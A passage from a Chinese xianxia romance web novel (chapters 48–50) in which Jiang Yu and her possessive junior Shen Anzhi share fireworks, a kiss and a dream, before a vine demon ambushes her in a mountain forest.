“昂,自然有趣。”姜喻抬眸,唇畔漾开一抹明艳笑意。 她狡黠的小动作早已落入沈安之眼底,心底由她暖意烘出的悸动,无声无息地自心海漫开至每一寸角落。 沈安之指尖无意识抚过自己上扬的唇角,步履缓了几分,眼睫轻垂,玉白面容投下小片阴翳,“师姐惊世骇俗的念头,若是旁人听见,怕要当是痴人说梦……不过,想法倒新鲜得很。” 姜喻惊讶地侧眸,身侧少年眸光不带丝毫嘲意,倒是思考后的回答而非敷衍。 “嗯。” 似想起何事的沈安之脚步一顿,身影旋回,修长手指轻牵上姜喻纤细的腕骨。他指腹带着薄茧,摩挲着她皓腕凸起的骨节,“师姐,近些时日睡得早吗?” 沈安之提问来得突兀又没头没脑,姜喻腕骨被他摩挲得微微发烫,一瞬心悸微动,答的飞快:“不算早。” “那便好。”如愿听到她的回答,他忽的弯唇,放开手时尾指勾了勾她的掌心。 姜喻掌心微痒,从未觉得回客栈的这条路如此短。不消一会,两人抵达客栈。 姜喻照例上楼至客栈厢房,她卸下发簪,散了蝴蝶发髻。一股倦意袭来,揉眼正要吹熄烛火安寝。 烛火在案头轻轻摇曳。 “咚,咚。”两声清晰又突兀的叩击,惊得姜喻回眸看向门扉。 门外 ,沈安之缓缓收回手。指尖陷进掌心,他的声音透过门扉传来,“师姐可睡下了?” 姜喻小声地拉开门扉,亮眸中带着几分诧异,“这么晚,师弟唤我作甚?” 心中不免嘀咕,沈安之最近时日不是一到夜间便对她避而不见嘛。 “寻师姐,自是有事。”沈安之凝望她嘴角噙笑,修长五指轻圈住了她纤细的腕骨,不容置疑地将她重新拉进屋内,“师姐,随我来。” “唉,师弟你……”姜喻话音未落,纤细腰间一紧,天旋地转间已被沈安之稳稳地打横抱起。 沈安之轻歪头,眸底掠过一丝晦暗不明的笑意。下一瞬,竟抱着她纵身跃出客栈四楼的木窗。 “沈安之!” 夜风灌入口鼻,失重感骤然袭来。 姜喻闭紧双眼,本能地双臂死死搂住沈安之的脖颈,整张脸埋进沈安之温热的颈窝,紧张地不敢抬头再看。 灼热呼吸落在他的锁骨,沈安之喉结下意识地滚动,身形紧绷地腾空。 垂眸凝着怀中绯红人影,青丝散乱地缠上他的颈,随着她无意识的轻蹭,发丝扫过肌肤,似有一根羽毛在他心底反复撩拨,勾出细密难耐的痒意。 姜喻耳边传来低沉的哼笑,环抱她的手臂似收得更紧,“师姐闭眼吧。” 铜钱剑听召,清光乍现,嗡鸣一声托着两人,飞落在小镇最高处的瞭望楼。 足下瓦片发出细微的轻响。 浩瀚星河,皓月当空。清辉如霜,将两人身影拉得颀长。 “师姐,可以睁开了。”沈安之凝视着怀中仿佛受惊后只顾埋首的绯红小雀,喉间微动,手臂又收紧一分,护着她整个窝在怀里。 姜喻长睫轻颤,试探性得睁开眼,映入眼帘的天幕是璀璨星辰。 下一瞬,一簇耀眼的流光骤然升腾,“嘭”地一声在夜空中轰然绽放。 刹那芳华,流光溢彩。烟花落下,宛若万千星子拖着绚烂的尾焰,簌簌坠落人间。 “……”姜喻呼吸一窒,瞳孔中倒映着绚烂光影。她久久无法回神,口中无意识呢喃,“好美啊——” “师姐喜欢吗?”沈安之压下嗓音,视线落在怀中少女的笑靥,声音不易觉察地带上了一丝紧绷。 “喜欢啊。”姜喻惊喜地仰头,视线所及沈安之棱角分明的下颌。漫天华彩在他侧脸上忽明忽暗,光影交错间,似一尊染上红尘烟火的神祇玉像。 姜喻呼吸猛地一窒,心跳骤然擂鼓般撞向胸腔。 她这才惊觉,自己竟还被沈安之牢牢打横抱在怀中,脚下是高檐,月色勾勒出下方庭院模糊的轮廓。这高度,摔下去非死即残。 “师、师弟……”夜风拂过耳畔,姜喻心尖发颤,尾音都带了丝不易察觉的飘忽。她象征性地在他臂弯里扭动了一下,像只被拎住后颈的猫,试探着开口,“你不累么?要不……先放我下来?” 箍着她的手臂纹丝未动,反而收得更紧,那力道带着不容置喙的强硬,抱得她几乎要嵌进他怀里。体温透过衣料传来,沈安之下颌轻轻压下,唇角悄然在姜喻头顶似有若无地轻蹭了蹭。 “不行。”他的声音低低响起,带着一丝奇异的温存。目光散漫地投向天际烟花,再开口时,语气轻缓,“再等等,师姐。”尾音轻轻上扬,却似带着一种蛊惑的哄人口吻。 “好罢。”姜喻懒洋洋地缩了缩身子,温顺地倚靠着,在他怀中寻了个最舒适的角度,仰首望向天幕。 流光溢彩的烟花次第盛放,映亮她清澈的眸。 少女乖乖任他抱着,清澈的瞳仁里映着流光溢彩,比那天幕上最璀璨的星子还要亮上几分。怀中温软的触感远比那转瞬即逝的烟火更真切。 烟花对他索然无味,唯有她眼底的微光才足够他……喜欢。 烟火因她才熠熠生辉的微光,是他唯一愿沉溺其中。 当最后一缕烟花在夜幕中湮灭,只余淡淡的硝烟味道萦绕鼻尖,姜喻甚至有些意犹未尽,回神后提醒他:“师弟放我下来,我自己站着。” 沈安之方才慢悠悠放她踩稳在屋檐瓦片,姜喻反手牵着他手腕站稳。 沈安之的目光沉沉锁住她纤细的腕骨,指尖若有似无地擦过,“师姐,可还满意?” 姜喻顺势拽着他宽大的袖角晃了晃,笑眼弯弯:“满意。师弟,你准备多久了?” “半日。”沈安之牵着她落座。 天际只余几缕未散的青烟,渐凉的夜风中打着旋儿。姜喻托着腮望向方才的绚烂,恍如隔世,一丝空落感悄然攥住心尖。 她低语道:“只可惜烟花易逝。” 身旁的沈安之静默了。 久得让姜喻几乎以为他并未听清,或是全然不在意。 然而,姜喻准备将小惆怅抛开的瞬间,沈安之的声音沉沉响起,“那以后,我可为师姐准备……” 话音出口,连沈安之都暗自心惊。 方才捕捉到她眼底那抹转瞬即逝的落寞,一股难以言喻的情绪骤然堵在胸口,驱使着几乎不受控的承诺脱口而出。 他不觉厌烦,只觉得一股雀跃在心间跳动。 姜喻难以置信地侧眸望向他,眼底盈满惊诧。 她知沈安之从不轻诺。 他是认真的。 特意备下烟花盛景,若放在从前,姜喻绝难想象,他竟会特地为她费这番心思。 望进少年眼底沉沉的晦暗,姜喻唇角笑意加深,那双总是亮晶晶的眼睛弯成了月牙,脚尖还轻轻晃了晃。 “好。” 得到满意答案,沈安之唇角噙着笑意,拈起一粒琥珀色的栗子糖,轻轻抵在她微启的唇瓣。倾身靠得更近,“师姐尝尝。” 姜喻眼波流转,瞥了眼唇边的糖丸,就着他递来的指尖,张口含住。 齿尖不经意蹭过他温热的指腹,糖丸滚落舌尖,她眯起眼,含糊地溢出满足的喟叹:“唔,很甜。” 沈安之的目光黏在她沾了糖渍、水光潋滟的唇角,喉结几不可察地滑动了一下。 几乎是下意识,他无声地又倾近几分,两人的吐息在咫尺间无声交缠。 他耐心地凝视着她,眼尾微弯,眸底那点幽深的光亮却紧紧攫住她,仿佛在等待什么。 姜喻被他看得心尖一颤,后知后觉,指尖无意识地蜷紧,将袖口柔滑的衣料捻出细小的褶皱,“师弟怎么这般看我?” “师姐尝了我的糖,不该继续教我何为‘心悦’滋味吗?” 姜喻暂时没了主意,沈安之面容在呼吸微滞间骤然放大。 第48章 沈安之鬼使神差地缓缓俯身弯唇,深邃的瞳孔里清晰映着一双亮眸,鼻息间是她身上馨香混合着一丝若有似无的栗子糖甜。 “师姐……” 低唤在咫尺间落下,呼吸骤然凝滞。交缠的气息滚烫,灼得她心尖发颤。 他目光沉沉锁住她,带着不容错辨的耐心与专注,像丝丝缕缕的丝线耐心等待她的触碰。姜喻喉间干涩,下意识咽了咽。 “……嗯。” 几乎在姜喻唇瓣微启,发出那声细弱回应的刹那,沈安之温热的唇便覆上来。 力道不轻不重,却带着一种不容置疑的暖意,捕获了她的柔软。 温热的吐息瞬间被掠夺殆尽。 姜喻倏然睁大了眼睛,指尖无意识地蜷紧,揪住了袖口。陌生的触感如同细小的电流,穿透四肢百骸,直抵她心脏,激起一阵令人战栗的酥麻。 她甚至能清晰地感觉到他唇瓣的微热与柔软,以及掠过唇边时,他唇畔若有似无地舐过她唇上残留的栗子糖渍。 蜻蜓点水般的吻一触即离,沈安之低哑的嗓音在耳畔萦绕:“很甜。” 姜喻 下意识抿了抿唇,强忍着想咬唇的冲动。对上他深邃漆黑的眸,心胸腔里那颗心擂鼓般狂跳,震得耳膜嗡嗡作响,怔愣地久久回不来神。 沈安之莹白耳尖悄然微红的分明,复见她懵懂呆愣模样,却似找到什么有趣之事,唇角勾起一抹极淡弧度。 指腹带着不容抗拒的力道轻扣在她脖颈后,轻带姜喻靠近自己几分。 顺势倾身靠近,目光下移落在她唇上,眸光似有暗火跳动,带着一股沉闷地侵略感:“师姐,不打算还我一个吗?” “还你?”姜喻脑袋里乱糟糟的,像塞了团理不清的棉絮。无奈地努了努嘴,沈安之分明是存心戏弄,小声嘀咕,“这哪是有借有还的。” 按他之前的意思,她没教过,沈安之本该不懂才对么…… “哼。” 沈安之微歪头饶有兴趣地瞧她不服气地微微睁圆妍丽眸子,指尖轻点了点唇角,嘴角微扬,带着几分漫不经心的邪气。 “‘心悦’之人……不都该如此么?”他故意拖长了尾音,说得理所当然,眼底挟着一丝隐匿的危险性,“这可是师姐亲口说的,不是吗?” 危险的气息几乎近得能拂动姜喻颊边的碎发,声音压得又低又缓,字字清晰:“师姐莫非忘了,我,听、之、不、忘?” “可这哪有还回的道理……”姜喻仰起头,脸颊烫意灼得她眼神躲闪,映着少年近在咫尺的笑颜。 少年嘴角微挑的弧度,像带着一把撩动人心的钩子,将她未尽的犹豫绞得七零八落。 心尖发烫,姜喻索性闭眼,带着孤注一掷的决心,唇瓣覆上沈安之的薄唇。擂鼓般的心跳撞着耳膜,姜喻慌忙地想退,却被颈后炙热的五指桎梏。 姜喻眼睫一颤,蓦地睁开眼。 唇齿着浮着栗子糖香,却丝丝缕缕缠着那股熟悉的、冷冽的皂角气息,霸道地钻进鼻端。她一只手已握成拳,不轻不重捶在他绷紧的胸膛上。 这一下猫挠似的力道,沈安之喉间却溢出一声压抑的笑。他垂眸,眼底暗潮卷着烈火翻涌,眼尾朱砂痣在月华下妖异丛生。 不等她收回手,他指腹轻扣住她的腕骨,力道强势得置于心口。 姜喻手腕一颤,忍不住想提醒他,唇齿微启。 温软薄唇带着攻城略地的试探,撬开她微启的唇齿,将一声未及出口的词句彻底吞噬。 灼热的气息瞬间交缠,淹没了所有的气息。另一手漫不经心地摩挲过她颈后细腻的肌肤,感受到长睫细微的颤栗,才缓缓松开钳制,目光仍未移开。 “如此……可作数了。”低沉的嗓音带着一丝若有似无的喟叹,沈安之坐正身形,紧绷身形,目光第一次紧张地看向她。 足下瓦发出细响。 姜喻慌忙拉开距离,脸颊连同小巧的耳尖都迅速漫上胭脂般的薄红,心潮澎湃。 沈安之平日挺嘴硬,可亲起来还不是温软的…… 不对不对,她在想什么。 姜喻垂下头,顿时心念微动,有一种今日沈安之早有预谋,她眼巴巴掉进去的预感。 不该是这样的,明明该是她掌握主动权呀。 少女颊边飞霞未褪,气鼓鼓的模样无半分厌弃。 沈安之胸腔里从未有过的狂喜横冲直撞,几乎要破膛而出。 沈安之气息拂过耳畔,他期身接近的刹那,姜喻直直撞入那双深不见底,此刻却盛满近乎占有欲的漆黑眼眸。 “师姐,会一直在意我吗?” 月色泠泠,映着姜喻眼底的惊澜,纤长睫毛轻颤如蝶翼。 一股情难自抑地喜悦与心虚,齐刷刷堵在心口,割裂出一道新口子。姜喻极力地忽视掉异样感,笑着仰面望进沈安之眼底,小幅度地点头道:“嗯。” 沈安之闻言,身形几不可察地一滞。眸底翻涌的晦暗如同潮水般褪去,瞬间燃起两簇灼人的亮光,紧紧锁住姜喻,“师姐,此言当真?” “嗯。”姜喻应了一声。 沈安之喉结微动,指节无意识地掐紧,指尖泛起用力后的浅白,声音压得又低又沉,带着难以言喻地执拗:“那……师姐能否应我一事?” “何事?”姜喻弯唇抬眼,对上少年那双深得仿佛要将人吸进去的眸子。 沈安之一字一句,清晰又带着隐秘的疯狂:“答应我……师姐这‘心悦’的滋味,只能让我一人知晓,一人独尝。” 晚风穿过脚下檐角,带着月夜的凉意,吹动两人衣袂。 姜喻看着少年眼中毫不掩饰的独占欲,片刻才回神,轻轻颔首,声音坚定:“好,我答应你。” 几乎在她话音落下的瞬间,沈安之霍然起身,宽大的手掌伸到她面前,玄色衣袖在暮色中划开一道利落的弧线,语气奇异地放得轻柔:“夜露起,烟花尽,师姐,我们该回了。” “知道了。”姜喻将手搭进他掌心,甫一触及那温热的指尖,沈安之立刻收拢五指,力道之大,仿佛要将她的手骨揉进自己的掌纹里。 他唇边勾起一抹极深的笑意,揽过她腰肢御剑飞回客栈。 沈安之静立在门外,透过未关的木门看向绯红背影,他小声自言,倒是怕惊扰什么:“师姐既应了……往后这世间千般好,便只能对我一人好了,一丝一毫都不许分给旁人。师弟眼底,不容半分欺骗……” 他指尖微动,无声地阖上门,悄无声息得布下护身结界方才离开。 听着沈安之的脚步声渐行渐远,姜喻懒懒地扯下外衫,只余贴身小衣将自己埋进锦被里,阖上眼沉入梦境。 纱帐轻摇,烛影朦胧。 梦里,她依旧是侧躺的慵懒姿态,斜倚在床榻边沿,伸了个长长的懒腰坐起身。 眼波流转间,目光无意间扫过昏暗的角落,猝然定住。 一道颀长的身影静默伫立——是沈安之。 沈安之不知何时悄立在那里,身影几乎融于阴影,唯有一双眸子,沉静得惊人,正一瞬不瞬地锁在她身上,带着几乎要将她吞噬的沉静。 姜喻心尖微动,恍惚忆起几日前那场梦。她也是这般笑吟吟得,遇见了个过分“乖巧”的他。 那时他明明转身要走,偏偏又立在屋子中央僵住,任她带着戏谑的笑意捉弄。 此刻,梦境的丝线仿佛倒流。姜喻唇边噙着惯常没心没肺的笑,赤足踏过冰凉的地面,一步步向他靠近。薄薄的小衣勾勒出玲珑曲线,她浑然未觉,只歪着头,声音带着梦里的软糯:“师弟,你不出声的样子真是太安静……” 指尖如蜻蜓点水,带着试探,轻轻落在他微热的脸颊上。 上一次,他像被烫到般躲开了。 可这一次,手腕猛地被一股不容抗拒的力量钳制。 沈安之掌心力道之大,让她瞬间动弹不得。抬眸撞进他眼底,那里哪里还有半分沉静? 晦暗不明的暗火正汹涌翻腾,炽热得几乎要将她点燃。 “故意的?”沈安之唇角勾起一抹极淡的弧度,眼底却毫无笑意,声音低沉,带着一丝危险的沙哑。 “你……你会说话呀?”姜喻惊得睫毛乱颤,手腕下意识用力挣扎,却如同蚍蜉撼树,被他攥得更紧。 “这是我的梦,你不能这样……”姜喻瘪了瘪嘴,带着点梦呓般的委屈,“你能不能像上次那样……” 沈安之眸底暗火倏地一窜又被强行压下,少女含糊的话语像投入死水的小石。 猛然意识到什么,他攥上她纤细的手腕,让她毫无防备地靠近,整个人只差毫厘就可靠在他怀中。 他的嗓音低沉得发哑:“哪样?嗯?” 姜喻几乎能感觉到微震的胸膛,歪头想了想,嘟囔道:“乖巧听话。” “呵……”一声极轻的嗤笑自她的头顶传来。 沈安之垂眸,邪性地微挑眉梢,“师姐,这两个词,何时同你师弟沾过边。” 姜喻理直气壮,笑着一字一句道:“我不管,这里是我的梦,你该听我的。” 沈安之似有所知,悄然放了手。 姜喻正得意又得瑟地一笑,下一刻,沈安之反手不轻不重地扣上她脖颈。 她的后背顺势轻靠在墙上,沈安之眸光一眨不眨地锁定她。 “师姐,那……我听你的。” 姜喻含笑得点头,飞快答应:“好啊,那你现在放开手。” “不行。”沈安之倾身凑近,呼吸落在她略显凌乱是发顶。 姜喻忍 不住心头一颤,抬眸撞入那双暗涌潮动的丹凤眸。 第49章 “反正是梦……”姜喻昏昏沉沉地想。 笑着不管不顾地向前一步,径直撞进沈安之怀里。鼻尖萦绕着他身上好闻的皂角香,贴向他的玄色衣襟,几乎能听见他心跳透过布料传来,抬眸小声嘟囔道,“怎么就不行了?” 都是我的梦了,沈安之咋就不能听听她的话了……真是胆大包天。 姜喻觉得无理取闹地想法顿时烟消云散,反而放开束缚手脚的想法,笑着调侃道:“现在,放手。” 沈安之垂眸,忽的弯唇,眸底翻涌的欲.念几乎凝为实质,抬手指腹轻轻触靠在她后颈细腻的肌肤,一点点极为耐心地慢慢摩挲。 眸光一眨不眨地紧盯她的眼睫,长睫如蝶翼痒得轻颤,直到姜喻慢慢适应这种感觉。 他像极了一位耐心的猎手,直到小红雀靠近轻落在他指尖,主动一点点靠近。 沈安之呼吸微滞,眸底幽深翻涌了一瞬,“如果我放开了手,师姐跑掉怎么办……” 厢房内烛火映着姜喻故作无辜的眼,她抬眸,纤长的睫毛蝶翼般扑扇两下,声音放低:“我不会。” “哦?”沈安之眉梢微挑,指尖不轻不重地点在她后颈细腻的肌肤,激起一阵细微的战栗。“师姐空口无凭,如何取信于我?” 她眼底藏着狡黠的光,非但不退了,反而微微凑近,仰面时温热的呼吸几乎拂过他滚动的喉结,唇角弯起:“师弟想要师姐怎么证明?” 沈安之的目光骤然幽深,像被无形的丝线牵引,缓缓从她眸下移在两瓣嫣红柔润的唇上。喉结难耐地滚动一下,嗓音低沉得近乎蛊惑:“师姐,唤我一声名字。” 夜风拂过纱帘,撩动一室暗香。 “就这么简单?”姜喻迎着他灼人的视线,红唇轻启,一字一句,带着点漫不经心的撩拨,清晰吐出,“沈、安、之。” 沈安之的目光落在姜喻近在咫尺的唇瓣上,心尖像是被什么柔软的东西狠狠撞了一下,呼吸骤然窒住。喉间溢出一声难以自抑的喑哑轻哼,滚烫的气息不受控制地拂过她面颊。 她清澈亮眸里此刻盛满了他的影子,仿佛他是她唯一能看见的存在。 几乎将他溺毙。 沈安之心想。 一股冲动驱使着他低头,向她靠近。然而,在理智丝线彻底崩断的前一瞬,他硬生生顿住。 趁着姜喻失神的刹那,指尖快如闪电般在光洁的额角轻轻一弹,力道不重,却带着不容忽视的亲昵。 沈安之得逞似的勾唇,克制地退开些许,声音低沉喑哑,“师姐,在想什么?” 姜喻紧张地结巴了一下,捂住脑门眼神飘忽不定,“没、没有。” 她微微屏住呼吸,分明不是头一遭,为何依旧觉得此刻是那般说不清、道不明的暧昧。 沈安之垂眸上扬唇角,带着一丝了然又兴奋的笑意。 他以往无数次听姜喻指名道姓,他或许未有太多感触。如今她仅是轻轻唤他名字,自己便差点掩饰不住眼底翻涌,呼之欲出的情绪。 姜喻会有很多师弟…… 这个想法刚一冒出头,便被沈安之死死掐灭在预想的摇篮。 他眸光闪烁着危险微光,嘴角挟着意味不明的笑。 可她仅有一个“沈安之”,不是吗? 沈安之漫不经心地站直身形,依她所言放开钳制她后颈的手指。垂在身侧的手,指腹不经意相互摩挲,企图延续残留在指尖的余温。 此刻还不到时候,他还不能让姜喻察觉出两人梦境互通。 姜喻唇角噙着闲适的笑意,足尖轻点,向后退开两步。 沈安之几乎在她退开的瞬间抬了手,指尖下意识地朝手腕探去,又在堪堪触及温热的前一刹猛地攥紧成拳。骨节因用力而泛起青白,硬生生将那股汹涌的冲动压回心底。 姜喻饶有兴味地挑起眉梢,清澈的眸子里映着沈安之略显紧绷的玄色身影,带着一丝不易察觉的探究。 梦里的“沈安之”怎么也和现实的“沈安之”,中间有着说不出来共同点。 难不成是她太了解沈安之,所以便会日有所思,夜有所梦? “师姐。”沈安之尾音上扬的急切,带着一些隐喻,在关键处微妙地停顿,留下引人遐思的空白,“能不能……答应我一件事情?” “嗯?师弟说呀。”她等着他下文。 沈安之向她逼近极小的一步,目光沉沉地锁住她,声音压得又低又轻:“师姐,以后在这里得唤我——安之。” 沈安之的声音带着不容置疑的力道,像是怕她没听清,又沉沉重复了一遍:“不许唤我师弟。” “师弟呀,梦里还是这般嘴硬霸道。”她故意顿了顿,歪头轻笑,随口轻唤一声,“那……安之?” 像羽毛般轻轻搔过,沈安之呼吸一乱,差点没忍住,喉结极轻微地滚动了一下,强行压下眼底翻涌的暗色,只从紧抿的唇间溢出一声短促而克制的回应:“嗯。” 捕捉到他失态的一瞬,姜喻心中微动,一个大胆的念头倏地窜上心头。眸底带着洞悉一切的小得意,笑吟吟地追问:“那……安之,你是不是也该改口唤我的名字。” “师姐要我如何唤?”沈安之眼底却掠过狡黠的光,像暗处蓄势的小兽。 “自然是唤我一声……”姜喻顺着他的话尾若有所思,话音未落,便听见沈安之学会抢答了。 “小愉儿……” 沈安之双臂环抱,眼尾微扬,唇边噙着笑,“师姐小字名愉,这一声‘小愉儿’,最是贴切不过。” 姜喻觉得也可,随性地笑着点头:“行啊。” 沈安之指尖下意识捻了捻,未触到惯常把玩的铜钱,无处着落的兴奋便化作喉间一声几不可闻的低笑。他抬手指节微屈,轻蹭鼻梁,顺势垂落长睫将眼底几乎要破笼而出的得意与灼热死死掩住。 像是守着共同的秘密,便让彼此的距离寸寸拉近。 姜喻看他这般灵动模样,哪像一个梦中人,忍不住地抬手轻戳了戳他的侧脸,“怎么这般逼真?” 沈安之强压下心底的意图,“我是你梦中的‘沈安之’。”煞有介事地微顿,眼波流转间不慌不忙地挑眉,向后退开一步,“这不正说明,小愉儿对‘他’的了解吗?” 姜喻闻言被他逗乐了,“你说的好在理。”认同地颔首一笑。 “小愉儿既然认为我说的在理,能不能多唤我几声听听,权当对我的奖励。” 姜喻无奈地努了努嘴,嘴角却忍不住上扬,轻唤道:“安之。” “嗯。” 她故意上前一步,揪着他衣襟踮起脚尖,凑近他耳畔大声道:“沈、安、之。” “嗯,听见了。” 沈安之故作漫不经心地捏了捏耳垂,垂眸时满足地喟叹一声,看向重新站定的姜喻,“怎么不说了?” “你还要听啊,我可不说了。”姜喻笑哼一声,转身围着本就不大的厢房绕了一圈,“说来,这个厢房我倒是没见过。” 沈安之随着她的视线望向厢房,目光扫过垂落的正红幔帐,最终定格在中央鎏金“囍”字上,脚边散落的桂圆、莲子与花生,正是本该撒在婚宴的干果。 都说所思既所梦。 沈安之的目光钉在厢房内刺目耀眼的“囍”字上,周遭红烛高燃,锦被流光,满室皆是灼人的喜庆。 沈安之难免想起许久前所用真言术时,姜喻曾说过她想有“家”。 而如今梦境中所见满目喜庆的婚宴,便是她心底所求的模样? 沈安之一时竟有些手足无措,他僵硬地将视线投向几步之外姜喻仰面打量四周的背影,捏紧的 拳头克制身形不动。 可他心跳声震耳欲聋,暴露无遗。 声音肆无忌惮地在胸腔中回响。 他既怕动静惊动了她,又卑劣地窃喜,渴望她能听见。听见藏匿最深处、最不可告人的妄念。 姜喻饶有兴致地环视完梦境精心布置的“新房”,一回头,便瞧见沈安之像根绷紧的竹子,杵在屋子中央。她走近,在他眼前晃了晃手,“你怎么呆住了?” “咳,”沈安之惊觉得面颊烫得差点压不住,若无其事咳嗽一声,转身顺着她刚刚的轨迹缓步走动,“无事。” 姜喻提步跟上去,“就这么大点地方,你几步路就走完了。” 沈安之被自己欲盖弥彰的举动惹得一时无言,指尖抵住眉心轻轻揉了一下,转移话题道:“你该醒了。” 姜喻望着他紧绷的背影,眼底浮起一丝困惑:“梦又不是我能做主的。” 沈安之垂在身侧的手指几不可察地一颤,猛地蜷起,寸寸收紧。 不愿她离去的贪念,可更怕她多留一刻,他隐秘的心思无所遁形。 他不再犹豫,唇间无声捻动法诀,一道无形的力量温柔却不容抗拒地将姜喻推离了梦境。 眼睫轻颤,她豁然睁眼。 窗外月色斜照,熟悉的床帐映入眼帘。 姜喻慢半拍地眨了眨眼,懒洋洋地伸了个腰。 真做了一个奇怪的梦,记得还十足的清晰,而且梦中的沈安之怪有趣的。 一股未散的睡意袭来,姜喻抛开饶人的思绪,睡了个回笼觉。只是这一次,她未曾梦见“他”。 * 晨光熹微,晨雾未散。 姜喻已将随身行之物清点妥当,最后系紧腰间的储物袋,才施施然地下楼。 沈安之召出的铜钱剑无声悬起,手指扣住她的手腕,带人至剑上。剑光破开晨风,载着两人一头扎进远处群峰之中。 “师姐,昨夜睡得可好?”沈安之回眸,状似不经意地随口一提。 第50章 “睡得挺好啊。”姜喻对上他视线弯唇笑意盈盈,面色神情无恙,只字未提起梦境之事。 若是让沈安之知晓自己在梦里那般捉弄他,他只怕不会善罢甘休…… 姜喻轻咳一声垂头敛眸,从袖口取出泛黄的堪舆图,对着地图上山势俯瞰下方深山,细细比对。 目光所及,万重山峦如蛰伏的巨兽脊骨,在天地间无尽延展,一眼望不到头。灰白雾瘴缠绕山腰,树冠遮天蔽日,漫山遍野皆是如出一辙,几乎辨不出区别,仿佛一张巨大的绿网。 依着原著所说,顾疏雨一行便是在这山域深处,撞上了一只藤妖——齐三娘。阴差阳错的追击下,卷入了陡然裂开的空间缝隙得以去到了无尘仙山。 扭曲的空间裂缝隐匿无踪,难觅其踪。幸而那盘踞此地的千年藤妖,最是贪恋世间绝色,且男女通吃。无论男女,但凡皮相上佳者,皆可入她眼,成为她口中滋补的“珍馐”——字面意义上的下饭菜。 姜喻脑海中飞快掠过原著情节,藤妖齐三娘正是被主角团的动静惊扰,人群中一眼相中了方微云的一副清雅的好皮囊,按捺不住现身,以诡谲幻术诱得众人心神失守,将人心底最幽暗的爱恨嗔痴尽数勾起,好自相残杀。 想到此处,姜喻的目光不由自主地飘向身前的他。所幸有个妖孽级别的黑莲花杵在这儿,不怕那藤妖不上钩。 姜喻心里的小算盘打得噼啪响,嘴角翘起。却在沈安之似有所觉般回眸的瞬间,复垂眸看堪舆图。 “借美色一用”的小心思咽了回去,她可只敢在心里默默念叨。 沈安之余光瞥向姜喻有意无意躲开的视线,转回头,唇角暗自微勾。 幸好,她未察觉。 姜喻指尖轻勾住沈安之的衣角,朝下方云雾缭绕的地方随意一点,“师弟,从这儿下吧。” 沈安之足下铜钱剑光微敛,调转方向。罡风掠过,两人衣袂猎猎翻飞。 剑身归鞘的刹那,他手臂下意识地一揽在姜喻腰侧,稳住她微晃的身形。 几乎在姜喻站稳的一瞬,手慢悠悠撤回拢回身后。 沈安之垂眸,视线落在姜喻被风吹乱的鬓发上:“师姐,打算从何寻起?” 姜喻浑不在意地拂开颊边碎发理了理,打量了一眼四周环境,“不急,我们四处瞧瞧看。” 脚下积年的腐叶厚如软毡,每一步踏下都激起一片“簌簌”声。 浓浊瘴气于林间萦绕,幸而两人提前服下了避毒丹。这里毒虫盘踞、蛇影隐现,遍地皆是窸窣爬行的活物。 姜喻看向阴影里快速窜动的兽影,强压下心头的不适。 “师弟,你看这树叶子密的……”侧过头顿足,身后空无一人。 方才清晰的脚步声径直消失了,寒气从她的脚底窜上脊背。 姜喻霍然转身,目光仓惶地扫过四周。扭曲虬结的古木如同鬼影幢幢,瘴气弥漫。偌大的密林深处,似乎只剩下她一人。 心口一紧,下意识地拔高声音,嗓音轻颤:“师弟?沈安之?” 无人应答。 藤条悄然潜伏如蛇形其中,于姜喻脚底做成一张密不透风的网,将猎物笼罩。 姜喻左眼微微刺疼,左眼灵光一闪,看一道浅紫灵力流转在她脚底。伴随着蛰伏袭的微动,姜喻指尖微转手中赫然是五张炽阳符,她脱手而出,“出来!” 阴翳森林深处,空气骤然凝滞。 电光火石间,无数粗壮的藤蔓如毒蛇出洞,撕裂静谧,挟着破空尖啸从四面八方疯狂扑至,瞬间封死了姜喻所有退路。 藤尖堪堪悬停在她眼前一寸,带起的劲风刮得脸颊生疼。 “唔。”胸口贴身佩戴的木牌透过衣襟爆发出灼人金光,姜喻下意识抬手遮掩双目。 几乎是同一瞬间,淡金色透明光幕形成坚实的结界,将致命藤蔓隔绝在外,光幕流转,映亮了姜喻强作镇定的面容。 “呵呵呵……”一阵酥麻入骨的娇笑声自幽暗的林间飘荡,四面八方传出,辨不清源头在哪,“有意思……小丫头儿,你这胆子倒是比我想象的要肥上不少呢。” 不远处的古树枝丫上,空间如水波般轻轻晃荡。一道浅紫色的身影慵懒地斜倚其上,衣袂如烟似雾,随风无声浮动。 昏暗也阻挡不了女子婀娜曲线,赤着一双莹白如玉的足,悬在虚空,有一下没一下地轻轻晃荡着。 一身看似华贵的紫裙裁剪得异常大胆,仅堪堪遮住最紧要的四肢,大片雪白的肌肤在昏暗光线下泛着如玉般的光泽。一张脸妩媚动人,眉眼弯弯含着笑,可笑意却未达眼底。 齐三娘歪着头,饶有兴致地打量着结界中的姜喻,仿佛在欣赏一件新得的、随时可以捏死的玩具。 姜喻可以肯定,她就是原著所说的千年之妖——齐三娘。 自衣襟处取出木牌,入手木牌带着微微灼热,上面裂缝随着疯狂袭击的藤蔓逐渐增多。 齐三娘挑眉一笑,抬眸看向她眼底兴奋与疯狂掩饰不住,胜券在握地对准她五指并拢又张开,“小丫头,落入我手掌心,乖乖成为我齐三娘的食物吧。你的爱恨嗔痴,绝对美味至极。” “我可不是坐以待毙的人。”姜喻直勾勾注意她一举一动,心有担心沈安之情况。转念一想,好在齐三娘既在此,能说明沈安之无事。 炽阳符倾泻而出,震耳欲聋的爆炸连成一片,烟尘冲天,碎石飞溅,瞬间将周遭山林夷为焦土。然而,当烟尘稍散,只见齐三娘好端端地立在爆炸中心,毫发无损。 “如何?”齐三娘秀眉微蹙,清晰地捕捉到姜喻周身因不安逸散出的黑色气息,挟着一丝熟悉的气息。她并未在意,语气带着一丝不易察觉的嫌恶,似是哄劝道,“这股子怨气可不太入口,乖些,莫再动了。” 炽阳符化作流光如暴雨袭向齐三娘,“乖乖束手就擒,我不会。要不,你教教我。” “呵,牙尖嘴利。” 原著中齐三娘最擅幻术,制造幻境,玩弄人心。 姜喻压下心头隐隐不明地不安,不动声色地扫过四周。 天幕低垂,灰色浓雾沉沉压下恰好将日光彻底遮掩。四野死寂,虫豸噤声,飞鸟绝迹,仿佛天地间只剩下她们两人。 不对劲! 她分明已在幻术之中了。 想到此处,姜喻心头一沉看向齐三娘,“幻术?” “啧,倒是个不傻的小丫头儿。”齐三娘红唇微勾,耐心告罄,“让我看看你最恐惧之事是什么……” 素手轻抬,朱唇对准掌心紫色粉末轻轻一吹,晶莹的粉末飘散在空气。 姜喻瞳孔一颤,捂住口鼻急退,却已然嗅到一丝甜腻到发腥的异香,清醒的脑海顿时昏昏沉沉。 